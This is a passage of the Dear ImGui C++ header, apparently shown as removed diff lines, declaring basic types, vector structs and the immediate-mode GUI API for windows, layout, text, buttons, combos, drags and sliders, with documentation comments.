-// Other types -#ifndef ImTextureID // ImTextureID [configurable type: override in imconfig.h with '#define ImTextureID xxx'] -typedef void* ImTextureID; // User data for rendering backend to identify a texture. This is whatever to you want it to be! read the FAQ about ImTextureID for details. -#endif -typedef unsigned int ImGuiID; // A unique ID used by widgets, typically hashed from a stack of string. -typedef int (*ImGuiInputTextCallback)(ImGuiInputTextCallbackData* data); // Callback function for ImGui::InputText() -typedef void (*ImGuiSizeCallback)(ImGuiSizeCallbackData* data); // Callback function for ImGui::SetNextWindowSizeConstraints() -typedef void* (*ImGuiMemAllocFunc)(size_t sz, void* user_data); // Function signature for ImGui::SetAllocatorFunctions() -typedef void (*ImGuiMemFreeFunc)(void* ptr, void* user_data); // Function signature for ImGui::SetAllocatorFunctions() - -// Character types -// (we generally use UTF-8 encoded string in the API. This is storage specifically for a decoded character used for keyboard input and display) -typedef unsigned short ImWchar16; // A single decoded U16 character/code point. We encode them as multi bytes UTF-8 when used in strings. -typedef unsigned int ImWchar32; // A single decoded U32 character/code point. We encode them as multi bytes UTF-8 when used in strings. -#ifdef IMGUI_USE_WCHAR32 // ImWchar [configurable type: override in imconfig.h with '#define IMGUI_USE_WCHAR32' to support Unicode planes 1-16] -typedef ImWchar32 ImWchar; -#else -typedef ImWchar16 ImWchar; -#endif - -// Basic scalar data types -typedef signed char ImS8; // 8-bit signed integer -typedef unsigned char ImU8; // 8-bit unsigned integer -typedef signed short ImS16; // 16-bit signed integer -typedef unsigned short ImU16; // 16-bit unsigned integer -typedef signed int ImS32; // 32-bit signed integer == int -typedef unsigned int ImU32; // 32-bit unsigned integer (often used to store packed colors) -#if defined(_MSC_VER) && !defined(__clang__) -typedef signed __int64 ImS64; // 64-bit signed integer (pre and post C++11 with Visual Studio) -typedef unsigned __int64 ImU64; // 64-bit unsigned integer (pre and post C++11 with Visual Studio) -#elif (defined(__clang__) || defined(__GNUC__)) && (__cplusplus < 201100) -#include -typedef int64_t ImS64; // 64-bit signed integer (pre C++11) -typedef uint64_t ImU64; // 64-bit unsigned integer (pre C++11) -#else -typedef signed long long ImS64; // 64-bit signed integer (post C++11) -typedef unsigned long long ImU64; // 64-bit unsigned integer (post C++11) -#endif - -// 2D vector (often used to store positions or sizes) -struct ImVec2 -{ - float x, y; - ImVec2() { x = y = 0.0f; } - ImVec2(float _x, float _y) { x = _x; y = _y; } - float operator[] (size_t idx) const { IM_ASSERT(idx <= 1); return (&x)[idx]; } // We very rarely use this [] operator, the assert overhead is fine. - float& operator[] (size_t idx) { IM_ASSERT(idx <= 1); return (&x)[idx]; } // We very rarely use this [] operator, the assert overhead is fine. -#ifdef IM_VEC2_CLASS_EXTRA - IM_VEC2_CLASS_EXTRA // Define additional constructors and implicit cast operators in imconfig.h to convert back and forth between your math types and ImVec2. -#endif -}; - -// 4D vector (often used to store floating-point colors) -struct ImVec4 -{ - float x, y, z, w; - ImVec4() { x = y = z = w = 0.0f; } - ImVec4(float _x, float _y, float _z, float _w) { x = _x; y = _y; z = _z; w = _w; } -#ifdef IM_VEC4_CLASS_EXTRA - IM_VEC4_CLASS_EXTRA // Define additional constructors and implicit cast operators in imconfig.h to convert back and forth between your math types and ImVec4. -#endif -}; - -//----------------------------------------------------------------------------- -// [SECTION] Dear ImGui end-user API functions -// (Note that ImGui:: being a namespace, you can add extra ImGui:: functions in your own separate file. Please don't modify imgui source files!) -//----------------------------------------------------------------------------- - -namespace ImGui -{ - // Context creation and access - // - Each context create its own ImFontAtlas by default. You may instance one yourself and pass it to CreateContext() to share a font atlas between contexts. - // - DLL users: heaps and globals are not shared across DLL boundaries! You will need to call SetCurrentContext() + SetAllocatorFunctions() - // for each static/DLL boundary you are calling from. Read "Context and Memory Allocators" section of imgui.cpp for details. - IMGUI_API ImGuiContext* CreateContext(ImFontAtlas* shared_font_atlas = NULL); - IMGUI_API void DestroyContext(ImGuiContext* ctx = NULL); // NULL = destroy current context - IMGUI_API ImGuiContext* GetCurrentContext(); - IMGUI_API void SetCurrentContext(ImGuiContext* ctx); - - // Main - IMGUI_API ImGuiIO& GetIO(); // access the IO structure (mouse/keyboard/gamepad inputs, time, various configuration options/flags) - IMGUI_API ImGuiStyle& GetStyle(); // access the Style structure (colors, sizes). Always use PushStyleCol(), PushStyleVar() to modify style mid-frame! - IMGUI_API void NewFrame(); // start a new Dear ImGui frame, you can submit any command from this point until Render()/EndFrame(). - IMGUI_API void EndFrame(); // ends the Dear ImGui frame. automatically called by Render(). If you don't need to render data (skipping rendering) you may call EndFrame() without Render()... but you'll have wasted CPU already! If you don't need to render, better to not create any windows and not call NewFrame() at all! - IMGUI_API void Render(); // ends the Dear ImGui frame, finalize the draw data. You can then get call GetDrawData(). - IMGUI_API ImDrawData* GetDrawData(); // valid after Render() and until the next call to NewFrame(). this is what you have to render. - - // Demo, Debug, Information - IMGUI_API void ShowDemoWindow(bool* p_open = NULL); // create Demo window. demonstrate most ImGui features. call this to learn about the library! try to make it always available in your application! - IMGUI_API void ShowMetricsWindow(bool* p_open = NULL); // create Metrics/Debugger window. display Dear ImGui internals: windows, draw commands, various internal state, etc. - IMGUI_API void ShowAboutWindow(bool* p_open = NULL); // create About window. display Dear ImGui version, credits and build/system information. - IMGUI_API void ShowStyleEditor(ImGuiStyle* ref = NULL); // add style editor block (not a window). you can pass in a reference ImGuiStyle structure to compare to, revert to and save to (else it uses the default style) - IMGUI_API bool ShowStyleSelector(const char* label); // add style selector block (not a window), essentially a combo listing the default styles. - IMGUI_API void ShowFontSelector(const char* label); // add font selector block (not a window), essentially a combo listing the loaded fonts. - IMGUI_API void ShowUserGuide(); // add basic help/info block (not a window): how to manipulate ImGui as a end-user (mouse/keyboard controls). - IMGUI_API const char* GetVersion(); // get the compiled version string e.g. "1.80 WIP" (essentially the value for IMGUI_VERSION from the compiled version of imgui.cpp) - - // Styles - IMGUI_API void StyleColorsDark(ImGuiStyle* dst = NULL); // new, recommended style (default) - IMGUI_API void StyleColorsLight(ImGuiStyle* dst = NULL); // best used with borders and a custom, thicker font - IMGUI_API void StyleColorsClassic(ImGuiStyle* dst = NULL); // classic imgui style - - // Windows - // - Begin() = push window to the stack and start appending to it. End() = pop window from the stack. - // - Passing 'bool* p_open != NULL' shows a window-closing widget in the upper-right corner of the window, - // which clicking will set the boolean to false when clicked. - // - You may append multiple times to the same window during the same frame by calling Begin()/End() pairs multiple times. - // Some information such as 'flags' or 'p_open' will only be considered by the first call to Begin(). - // - Begin() return false to indicate the window is collapsed or fully clipped, so you may early out and omit submitting - // anything to the window. Always call a matching End() for each Begin() call, regardless of its return value! - // [Important: due to legacy reason, this is inconsistent with most other functions such as BeginMenu/EndMenu, - // BeginPopup/EndPopup, etc. where the EndXXX call should only be called if the corresponding BeginXXX function - // returned true. Begin and BeginChild are the only odd ones out. Will be fixed in a future update.] - // - Note that the bottom of window stack always contains a window called "Debug". - IMGUI_API bool Begin(const char* name, bool* p_open = NULL, ImGuiWindowFlags flags = 0); - IMGUI_API void End(); - - // Child Windows - // - Use child windows to begin into a self-contained independent scrolling/clipping regions within a host window. Child windows can embed their own child. - // - For each independent axis of 'size': ==0.0f: use remaining host window size / >0.0f: fixed size / <0.0f: use remaining window size minus abs(size) / Each axis can use a different mode, e.g. ImVec2(0,400). - // - BeginChild() returns false to indicate the window is collapsed or fully clipped, so you may early out and omit submitting anything to the window. - // Always call a matching EndChild() for each BeginChild() call, regardless of its return value. - // [Important: due to legacy reason, this is inconsistent with most other functions such as BeginMenu/EndMenu, - // BeginPopup/EndPopup, etc. where the EndXXX call should only be called if the corresponding BeginXXX function - // returned true. Begin and BeginChild are the only odd ones out. Will be fixed in a future update.] - IMGUI_API bool BeginChild(const char* str_id, const ImVec2& size = ImVec2(0, 0), bool border = false, ImGuiWindowFlags flags = 0); - IMGUI_API bool BeginChild(ImGuiID id, const ImVec2& size = ImVec2(0, 0), bool border = false, ImGuiWindowFlags flags = 0); - IMGUI_API void EndChild(); - - // Windows Utilities - // - 'current window' = the window we are appending into while inside a Begin()/End() block. 'next window' = next window we will Begin() into. - IMGUI_API bool IsWindowAppearing(); - IMGUI_API bool IsWindowCollapsed(); - IMGUI_API bool IsWindowFocused(ImGuiFocusedFlags flags = 0); // is current window focused? or its root/child, depending on flags. see flags for options. - IMGUI_API bool IsWindowHovered(ImGuiHoveredFlags flags = 0); // is current window hovered (and typically: not blocked by a popup/modal)? see flags for options. NB: If you are trying to check whether your mouse should be dispatched to imgui or to your app, you should use the 'io.WantCaptureMouse' boolean for that! Please read the FAQ! - IMGUI_API ImDrawList* GetWindowDrawList(); // get draw list associated to the current window, to append your own drawing primitives - IMGUI_API ImVec2 GetWindowPos(); // get current window position in screen space (useful if you want to do your own drawing via the DrawList API) - IMGUI_API ImVec2 GetWindowSize(); // get current window size - IMGUI_API float GetWindowWidth(); // get current window width (shortcut for GetWindowSize().x) - IMGUI_API float GetWindowHeight(); // get current window height (shortcut for GetWindowSize().y) - - // Prefer using SetNextXXX functions (before Begin) rather that SetXXX functions (after Begin). - IMGUI_API void SetNextWindowPos(const ImVec2& pos, ImGuiCond cond = 0, const ImVec2& pivot = ImVec2(0, 0)); // set next window position. call before Begin(). use pivot=(0.5f,0.5f) to center on given point, etc. - IMGUI_API void SetNextWindowSize(const ImVec2& size, ImGuiCond cond = 0); // set next window size. set axis to 0.0f to force an auto-fit on this axis. call before Begin() - IMGUI_API void SetNextWindowSizeConstraints(const ImVec2& size_min, const ImVec2& size_max, ImGuiSizeCallback custom_callback = NULL, void* custom_callback_data = NULL); // set next window size limits. use -1,-1 on either X/Y axis to preserve the current size. Sizes will be rounded down. Use callback to apply non-trivial programmatic constraints. - IMGUI_API void SetNextWindowContentSize(const ImVec2& size); // set next window content size (~ scrollable client area, which enforce the range of scrollbars). Not including window decorations (title bar, menu bar, etc.) nor WindowPadding. set an axis to 0.0f to leave it automatic. call before Begin() - IMGUI_API void SetNextWindowCollapsed(bool collapsed, ImGuiCond cond = 0); // set next window collapsed state. call before Begin() - IMGUI_API void SetNextWindowFocus(); // set next window to be focused / top-most. call before Begin() - IMGUI_API void SetNextWindowBgAlpha(float alpha); // set next window background color alpha. helper to easily override the Alpha component of ImGuiCol_WindowBg/ChildBg/PopupBg. you may also use ImGuiWindowFlags_NoBackground. - IMGUI_API void SetWindowPos(const ImVec2& pos, ImGuiCond cond = 0); // (not recommended) set current window position - call within Begin()/End(). prefer using SetNextWindowPos(), as this may incur tearing and side-effects. - IMGUI_API void SetWindowSize(const ImVec2& size, ImGuiCond cond = 0); // (not recommended) set current window size - call within Begin()/End(). set to ImVec2(0, 0) to force an auto-fit. prefer using SetNextWindowSize(), as this may incur tearing and minor side-effects. - IMGUI_API void SetWindowCollapsed(bool collapsed, ImGuiCond cond = 0); // (not recommended) set current window collapsed state. prefer using SetNextWindowCollapsed(). - IMGUI_API void SetWindowFocus(); // (not recommended) set current window to be focused / top-most. prefer using SetNextWindowFocus(). - IMGUI_API void SetWindowFontScale(float scale); // set font scale. Adjust IO.FontGlobalScale if you want to scale all windows. This is an old API! For correct scaling, prefer to reload font + rebuild ImFontAtlas + call style.ScaleAllSizes(). - IMGUI_API void SetWindowPos(const char* name, const ImVec2& pos, ImGuiCond cond = 0); // set named window position. - IMGUI_API void SetWindowSize(const char* name, const ImVec2& size, ImGuiCond cond = 0); // set named window size. set axis to 0.0f to force an auto-fit on this axis. - IMGUI_API void SetWindowCollapsed(const char* name, bool collapsed, ImGuiCond cond = 0); // set named window collapsed state - IMGUI_API void SetWindowFocus(const char* name); // set named window to be focused / top-most. use NULL to remove focus. - - // Content region - // - Retrieve available space from a given point. GetContentRegionAvail() is frequently useful. - // - Those functions are bound to be redesigned (they are confusing, incomplete and the Min/Max return values are in local window coordinates which increases confusion) - IMGUI_API ImVec2 GetContentRegionAvail(); // == GetContentRegionMax() - GetCursorPos() - IMGUI_API ImVec2 GetContentRegionMax(); // current content boundaries (typically window boundaries including scrolling, or current column boundaries), in windows coordinates - IMGUI_API ImVec2 GetWindowContentRegionMin(); // content boundaries min (roughly (0,0)-Scroll), in window coordinates - IMGUI_API ImVec2 GetWindowContentRegionMax(); // content boundaries max (roughly (0,0)+Size-Scroll) where Size can be override with SetNextWindowContentSize(), in window coordinates - IMGUI_API float GetWindowContentRegionWidth(); // - - // Windows Scrolling - IMGUI_API float GetScrollX(); // get scrolling amount [0 .. GetScrollMaxX()] - IMGUI_API float GetScrollY(); // get scrolling amount [0 .. GetScrollMaxY()] - IMGUI_API void SetScrollX(float scroll_x); // set scrolling amount [0 .. GetScrollMaxX()] - IMGUI_API void SetScrollY(float scroll_y); // set scrolling amount [0 .. GetScrollMaxY()] - IMGUI_API float GetScrollMaxX(); // get maximum scrolling amount ~~ ContentSize.x - WindowSize.x - DecorationsSize.x - IMGUI_API float GetScrollMaxY(); // get maximum scrolling amount ~~ ContentSize.y - WindowSize.y - DecorationsSize.y - IMGUI_API void SetScrollHereX(float center_x_ratio = 0.5f); // adjust scrolling amount to make current cursor position visible. center_x_ratio=0.0: left, 0.5: center, 1.0: right. When using to make a "default/current item" visible, consider using SetItemDefaultFocus() instead. - IMGUI_API void SetScrollHereY(float center_y_ratio = 0.5f); // adjust scrolling amount to make current cursor position visible. center_y_ratio=0.0: top, 0.5: center, 1.0: bottom. When using to make a "default/current item" visible, consider using SetItemDefaultFocus() instead. - IMGUI_API void SetScrollFromPosX(float local_x, float center_x_ratio = 0.5f); // adjust scrolling amount to make given position visible. Generally GetCursorStartPos() + offset to compute a valid position. - IMGUI_API void SetScrollFromPosY(float local_y, float center_y_ratio = 0.5f); // adjust scrolling amount to make given position visible. Generally GetCursorStartPos() + offset to compute a valid position. - - // Parameters stacks (shared) - IMGUI_API void PushFont(ImFont* font); // use NULL as a shortcut to push default font - IMGUI_API void PopFont(); - IMGUI_API void PushStyleColor(ImGuiCol idx, ImU32 col); // modify a style color. always use this if you modify the style after NewFrame(). - IMGUI_API void PushStyleColor(ImGuiCol idx, const ImVec4& col); - IMGUI_API void PopStyleColor(int count = 1); - IMGUI_API void PushStyleVar(ImGuiStyleVar idx, float val); // modify a style float variable. always use this if you modify the style after NewFrame(). - IMGUI_API void PushStyleVar(ImGuiStyleVar idx, const ImVec2& val); // modify a style ImVec2 variable. always use this if you modify the style after NewFrame(). - IMGUI_API void PopStyleVar(int count = 1); - IMGUI_API void PushAllowKeyboardFocus(bool allow_keyboard_focus); // allow focusing using TAB/Shift-TAB, enabled by default but you can disable it for certain widgets - IMGUI_API void PopAllowKeyboardFocus(); - IMGUI_API void PushButtonRepeat(bool repeat); // in 'repeat' mode, Button*() functions return repeated true in a typematic manner (using io.KeyRepeatDelay/io.KeyRepeatRate setting). Note that you can call IsItemActive() after any Button() to tell if the button is held in the current frame. - IMGUI_API void PopButtonRepeat(); - - // Parameters stacks (current window) - IMGUI_API void PushItemWidth(float item_width); // push width of items for common large "item+label" widgets. >0.0f: width in pixels, <0.0f align xx pixels to the right of window (so -FLT_MIN always align width to the right side). - IMGUI_API void PopItemWidth(); - IMGUI_API void SetNextItemWidth(float item_width); // set width of the _next_ common large "item+label" widget. >0.0f: width in pixels, <0.0f align xx pixels to the right of window (so -FLT_MIN always align width to the right side) - IMGUI_API float CalcItemWidth(); // width of item given pushed settings and current cursor position. NOT necessarily the width of last item unlike most 'Item' functions. - IMGUI_API void PushTextWrapPos(float wrap_local_pos_x = 0.0f); // push word-wrapping position for Text*() commands. < 0.0f: no wrapping; 0.0f: wrap to end of window (or column); > 0.0f: wrap at 'wrap_pos_x' position in window local space - IMGUI_API void PopTextWrapPos(); - - // Style read access - IMGUI_API ImFont* GetFont(); // get current font - IMGUI_API float GetFontSize(); // get current font size (= height in pixels) of current font with current scale applied - IMGUI_API ImVec2 GetFontTexUvWhitePixel(); // get UV coordinate for a while pixel, useful to draw custom shapes via the ImDrawList API - IMGUI_API ImU32 GetColorU32(ImGuiCol idx, float alpha_mul = 1.0f); // retrieve given style color with style alpha applied and optional extra alpha multiplier, packed as a 32-bit value suitable for ImDrawList - IMGUI_API ImU32 GetColorU32(const ImVec4& col); // retrieve given color with style alpha applied, packed as a 32-bit value suitable for ImDrawList - IMGUI_API ImU32 GetColorU32(ImU32 col); // retrieve given color with style alpha applied, packed as a 32-bit value suitable for ImDrawList - IMGUI_API const ImVec4& GetStyleColorVec4(ImGuiCol idx); // retrieve style color as stored in ImGuiStyle structure. use to feed back into PushStyleColor(), otherwise use GetColorU32() to get style color with style alpha baked in. - - // Cursor / Layout - // - By "cursor" we mean the current output position. - // - The typical widget behavior is to output themselves at the current cursor position, then move the cursor one line down. - // - You can call SameLine() between widgets to undo the last carriage return and output at the right of the preceding widget. - // - Attention! We currently have inconsistencies between window-local and absolute positions we will aim to fix with future API: - // Window-local coordinates: SameLine(), GetCursorPos(), SetCursorPos(), GetCursorStartPos(), GetContentRegionMax(), GetWindowContentRegion*(), PushTextWrapPos() - // Absolute coordinate: GetCursorScreenPos(), SetCursorScreenPos(), all ImDrawList:: functions. - IMGUI_API void Separator(); // separator, generally horizontal. inside a menu bar or in horizontal layout mode, this becomes a vertical separator. - IMGUI_API void SameLine(float offset_from_start_x = 0.0f, float spacing = -1.0f); // call between widgets or groups to layout them horizontally. X position given in window coordinates. - IMGUI_API void NewLine(); // undo a SameLine() or force a new line when in an horizontal-layout context. - IMGUI_API void Spacing(); // add vertical spacing. - IMGUI_API void Dummy(const ImVec2& size); // add a dummy item of given size. unlike InvisibleButton(), Dummy() won't take the mouse click or be navigable into. - IMGUI_API void Indent(float indent_w = 0.0f); // move content position toward the right, by indent_w, or style.IndentSpacing if indent_w <= 0 - IMGUI_API void Unindent(float indent_w = 0.0f); // move content position back to the left, by indent_w, or style.IndentSpacing if indent_w <= 0 - IMGUI_API void BeginGroup(); // lock horizontal starting position - IMGUI_API void EndGroup(); // unlock horizontal starting position + capture the whole group bounding box into one "item" (so you can use IsItemHovered() or layout primitives such as SameLine() on whole group, etc.) - IMGUI_API ImVec2 GetCursorPos(); // cursor position in window coordinates (relative to window position) - IMGUI_API float GetCursorPosX(); // (some functions are using window-relative coordinates, such as: GetCursorPos, GetCursorStartPos, GetContentRegionMax, GetWindowContentRegion* etc. - IMGUI_API float GetCursorPosY(); // other functions such as GetCursorScreenPos or everything in ImDrawList:: - IMGUI_API void SetCursorPos(const ImVec2& local_pos); // are using the main, absolute coordinate system. - IMGUI_API void SetCursorPosX(float local_x); // GetWindowPos() + GetCursorPos() == GetCursorScreenPos() etc.) - IMGUI_API void SetCursorPosY(float local_y); // - IMGUI_API ImVec2 GetCursorStartPos(); // initial cursor position in window coordinates - IMGUI_API ImVec2 GetCursorScreenPos(); // cursor position in absolute coordinates (useful to work with ImDrawList API). generally top-left == GetMainViewport()->Pos == (0,0) in single viewport mode, and bottom-right == GetMainViewport()->Pos+Size == io.DisplaySize in single-viewport mode. - IMGUI_API void SetCursorScreenPos(const ImVec2& pos); // cursor position in absolute coordinates - IMGUI_API void AlignTextToFramePadding(); // vertically align upcoming text baseline to FramePadding.y so that it will align properly to regularly framed items (call if you have text on a line before a framed item) - IMGUI_API float GetTextLineHeight(); // ~ FontSize - IMGUI_API float GetTextLineHeightWithSpacing(); // ~ FontSize + style.ItemSpacing.y (distance in pixels between 2 consecutive lines of text) - IMGUI_API float GetFrameHeight(); // ~ FontSize + style.FramePadding.y * 2 - IMGUI_API float GetFrameHeightWithSpacing(); // ~ FontSize + style.FramePadding.y * 2 + style.ItemSpacing.y (distance in pixels between 2 consecutive lines of framed widgets) - - // ID stack/scopes - // - Read the FAQ for more details about how ID are handled in dear imgui. If you are creating widgets in a loop you most - // likely want to push a unique identifier (e.g. object pointer, loop index) to uniquely differentiate them. - // - The resulting ID are hashes of the entire stack. - // - You can also use the "Label##foobar" syntax within widget label to distinguish them from each others. - // - In this header file we use the "label"/"name" terminology to denote a string that will be displayed and used as an ID, - // whereas "str_id" denote a string that is only used as an ID and not normally displayed. - IMGUI_API void PushID(const char* str_id); // push string into the ID stack (will hash string). - IMGUI_API void PushID(const char* str_id_begin, const char* str_id_end); // push string into the ID stack (will hash string). - IMGUI_API void PushID(const void* ptr_id); // push pointer into the ID stack (will hash pointer). - IMGUI_API void PushID(int int_id); // push integer into the ID stack (will hash integer). - IMGUI_API void PopID(); // pop from the ID stack. - IMGUI_API ImGuiID GetID(const char* str_id); // calculate unique ID (hash of whole ID stack + given parameter). e.g. if you want to query into ImGuiStorage yourself - IMGUI_API ImGuiID GetID(const char* str_id_begin, const char* str_id_end); - IMGUI_API ImGuiID GetID(const void* ptr_id); - - // Widgets: Text - IMGUI_API void TextUnformatted(const char* text, const char* text_end = NULL); // raw text without formatting. Roughly equivalent to Text("%s", text) but: A) doesn't require null terminated string if 'text_end' is specified, B) it's faster, no memory copy is done, no buffer size limits, recommended for long chunks of text. - IMGUI_API void Text(const char* fmt, ...) IM_FMTARGS(1); // formatted text - IMGUI_API void TextV(const char* fmt, va_list args) IM_FMTLIST(1); - IMGUI_API void TextColored(const ImVec4& col, const char* fmt, ...) IM_FMTARGS(2); // shortcut for PushStyleColor(ImGuiCol_Text, col); Text(fmt, ...); PopStyleColor(); - IMGUI_API void TextColoredV(const ImVec4& col, const char* fmt, va_list args) IM_FMTLIST(2); - IMGUI_API void TextDisabled(const char* fmt, ...) IM_FMTARGS(1); // shortcut for PushStyleColor(ImGuiCol_Text, style.Colors[ImGuiCol_TextDisabled]); Text(fmt, ...); PopStyleColor(); - IMGUI_API void TextDisabledV(const char* fmt, va_list args) IM_FMTLIST(1); - IMGUI_API void TextWrapped(const char* fmt, ...) IM_FMTARGS(1); // shortcut for PushTextWrapPos(0.0f); Text(fmt, ...); PopTextWrapPos();. Note that this won't work on an auto-resizing window if there's no other widgets to extend the window width, yoy may need to set a size using SetNextWindowSize(). - IMGUI_API void TextWrappedV(const char* fmt, va_list args) IM_FMTLIST(1); - IMGUI_API void LabelText(const char* label, const char* fmt, ...) IM_FMTARGS(2); // display text+label aligned the same way as value+label widgets - IMGUI_API void LabelTextV(const char* label, const char* fmt, va_list args) IM_FMTLIST(2); - IMGUI_API void BulletText(const char* fmt, ...) IM_FMTARGS(1); // shortcut for Bullet()+Text() - IMGUI_API void BulletTextV(const char* fmt, va_list args) IM_FMTLIST(1); - - // Widgets: Main - // - Most widgets return true when the value has been changed or when pressed/selected - // - You may also use one of the many IsItemXXX functions (e.g. IsItemActive, IsItemHovered, etc.) to query widget state. - IMGUI_API bool Button(const char* label, const ImVec2& size = ImVec2(0, 0)); // button - IMGUI_API bool SmallButton(const char* label); // button with FramePadding=(0,0) to easily embed within text - IMGUI_API bool InvisibleButton(const char* str_id, const ImVec2& size, ImGuiButtonFlags flags = 0); // flexible button behavior without the visuals, frequently useful to build custom behaviors using the public api (along with IsItemActive, IsItemHovered, etc.) - IMGUI_API bool ArrowButton(const char* str_id, ImGuiDir dir); // square button with an arrow shape - IMGUI_API void Image(ImTextureID user_texture_id, const ImVec2& size, const ImVec2& uv0 = ImVec2(0, 0), const ImVec2& uv1 = ImVec2(1, 1), const ImVec4& tint_col = ImVec4(1, 1, 1, 1), const ImVec4& border_col = ImVec4(0, 0, 0, 0)); - IMGUI_API bool ImageButton(ImTextureID user_texture_id, const ImVec2& size, const ImVec2& uv0 = ImVec2(0, 0), const ImVec2& uv1 = ImVec2(1, 1), int frame_padding = -1, const ImVec4& bg_col = ImVec4(0, 0, 0, 0), const ImVec4& tint_col = ImVec4(1, 1, 1, 1)); // <0 frame_padding uses default frame padding settings. 0 for no padding - IMGUI_API bool Checkbox(const char* label, bool* v); - IMGUI_API bool CheckboxFlags(const char* label, int* flags, int flags_value); - IMGUI_API bool CheckboxFlags(const char* label, unsigned int* flags, unsigned int flags_value); - IMGUI_API bool RadioButton(const char* label, bool active); // use with e.g. if (RadioButton("one", my_value==1)) { my_value = 1; } - IMGUI_API bool RadioButton(const char* label, int* v, int v_button); // shortcut to handle the above pattern when value is an integer - IMGUI_API void ProgressBar(float fraction, const ImVec2& size_arg = ImVec2(-FLT_MIN, 0), const char* overlay = NULL); - IMGUI_API void Bullet(); // draw a small circle + keep the cursor on the same line. advance cursor x position by GetTreeNodeToLabelSpacing(), same distance that TreeNode() uses - - // Widgets: Combo Box - // - The BeginCombo()/EndCombo() api allows you to manage your contents and selection state however you want it, by creating e.g. Selectable() items. - // - The old Combo() api are helpers over BeginCombo()/EndCombo() which are kept available for convenience purpose. This is analogous to how ListBox are created. - IMGUI_API bool BeginCombo(const char* label, const char* preview_value, ImGuiComboFlags flags = 0); - IMGUI_API void EndCombo(); // only call EndCombo() if BeginCombo() returns true! - IMGUI_API bool Combo(const char* label, int* current_item, const char* const items[], int items_count, int popup_max_height_in_items = -1); - IMGUI_API bool Combo(const char* label, int* current_item, const char* items_separated_by_zeros, int popup_max_height_in_items = -1); // Separate items with \0 within a string, end item-list with \0\0. e.g. "One\0Two\0Three\0" - IMGUI_API bool Combo(const char* label, int* current_item, bool(*items_getter)(void* data, int idx, const char** out_text), void* data, int items_count, int popup_max_height_in_items = -1); - - // Widgets: Drag Sliders - // - CTRL+Click on any drag box to turn them into an input box. Manually input values aren't clamped and can go off-bounds. - // - For all the Float2/Float3/Float4/Int2/Int3/Int4 versions of every functions, note that a 'float v[X]' function argument is the same as 'float* v', the array syntax is just a way to document the number of elements that are expected to be accessible. You can pass address of your first element out of a contiguous set, e.g. &myvector.x - // - Adjust format string to decorate the value with a prefix, a suffix, or adapt the editing and display precision e.g. "%.3f" -> 1.234; "%5.2f secs" -> 01.23 secs; "Biscuit: %.0f" -> Biscuit: 1; etc. - // - Format string may also be set to NULL or use the default format ("%f" or "%d"). - // - Speed are per-pixel of mouse movement (v_speed=0.2f: mouse needs to move by 5 pixels to increase value by 1). For gamepad/keyboard navigation, minimum speed is Max(v_speed, minimum_step_at_given_precision). - // - Use v_min < v_max to clamp edits to given limits. Note that CTRL+Click manual input can override those limits. - // - Use v_max = FLT_MAX / INT_MAX etc to avoid clamping to a maximum, same with v_min = -FLT_MAX / INT_MIN to avoid clamping to a minimum. - // - We use the same sets of flags for DragXXX() and SliderXXX() functions as the features are the same and it makes it easier to swap them. - // - Legacy: Pre-1.78 there are DragXXX() function signatures that takes a final `float power=1.0f' argument instead of the `ImGuiSliderFlags flags=0' argument. - // If you get a warning converting a float to ImGuiSliderFlags, read https://github.com/ocornut/imgui/issues/3361 - IMGUI_API bool DragFloat(const char* label, float* v, float v_speed = 1.0f, float v_min = 0.0f, float v_max = 0.0f, const char* format = "%.3f", ImGuiSliderFlags flags = 0); // If v_min >= v_max we have no bound - IMGUI_API bool DragFloat2(const char* label, float v[2], float v_speed = 1.0f, float v_min = 0.0f, float v_max = 0.0f, const char* format = "%.3f", ImGuiSliderFlags flags = 0); - IMGUI_API bool DragFloat3(const char* label, float v[3], float v_speed = 1.0f, float v_min = 0.0f, float v_max = 0.0f, const char* format = "%.3f", ImGuiSliderFlags flags = 0); - IMGUI_API bool DragFloat4(const char* label, float v[4], float v_speed = 1.0f, float v_min = 0.0f, float v_max = 0.0f, const char* format = "%.3f", ImGuiSliderFlags flags = 0); - IMGUI_API bool DragFloatRange2(const char* label, float* v_current_min, float* v_current_max, float v_speed = 1.0f, float v_min = 0.0f, float v_max = 0.0f, const char* format = "%.3f", const char* format_max = NULL, ImGuiSliderFlags flags = 0); - IMGUI_API bool DragInt(const char* label, int* v, float v_speed = 1.0f, int v_min = 0, int v_max = 0, const char* format = "%d", ImGuiSliderFlags flags = 0); // If v_min >= v_max we have no bound - IMGUI_API bool DragInt2(const char* label, int v[2], float v_speed = 1.0f, int v_min = 0, int v_max = 0, const char* format = "%d", ImGuiSliderFlags flags = 0); - IMGUI_API bool DragInt3(const char* label, int v[3], float v_speed = 1.0f, int v_min = 0, int v_max = 0, const char* format = "%d", ImGuiSliderFlags flags = 0); - IMGUI_API bool DragInt4(const char* label, int v[4], float v_speed = 1.0f, int v_min = 0, int v_max = 0, const char* format = "%d", ImGuiSliderFlags flags = 0); - IMGUI_API bool DragIntRange2(const char* label, int* v_current_min, int* v_current_max, float v_speed = 1.0f, int v_min = 0, int v_max = 0, const char* format = "%d", const char* format_max = NULL, ImGuiSliderFlags flags = 0); - IMGUI_API bool DragScalar(const char* label, ImGuiDataType data_type, void* p_data, float v_speed, const void* p_min = NULL, const void* p_max = NULL, const char* format = NULL, ImGuiSliderFlags flags = 0); - IMGUI_API bool DragScalarN(const char* label, ImGuiDataType data_type, void* p_data, int components, float v_speed, const void* p_min = NULL, const void* p_max = NULL, const char* format = NULL, ImGuiSliderFlags flags = 0); - - // Widgets: Regular Sliders - // - CTRL+Click on any slider to turn them into an input box. Manually input values aren't clamped and can go off-bounds. - // - Adjust format string to decorate the value with a prefix, a suffix, or adapt the editing and display precision e.g. "%.3f" -> 1.234; "%5.2f secs" -> 01.23 secs; "Biscuit: %.0f" -> Biscuit: 1; etc. - // - Format string may also be set to NULL or use the default format ("%f" or "%d"). - // - Legacy: Pre-1.78 there are SliderXXX() function signatures that takes a final `float power=1.0f' argument instead of the `ImGuiSliderFlags flags=0' argument. - // If you get a warning converting a float to ImGuiSliderFlags, read https://github.com/ocornut/imgui/issues/3361 - IMGUI_API bool SliderFloat(const char* label, float* v, float v_min, float v_max, const char* format = "%.3f", ImGuiSliderFlags flags = 0); // adjust format to decorate the value with a prefix or a suffix for in-slider labels or unit display. - IMGUI_API bool SliderFloat2(const char* label, float v[2], float v_min, float v_max, const char* format = "%.3f", ImGuiSliderFlags flags = 0); - IMGUI_API bool SliderFloat3(const char* label, float v[3], float v_min, float v_max, const char* format = "%.3f", ImGuiSliderFlags flags = 0); - IMGUI_API bool SliderFloat4(const char* label, float v[4], float v_min, float v_max, const char* format = "%.3f", ImGuiSliderFlags flags = 0); - 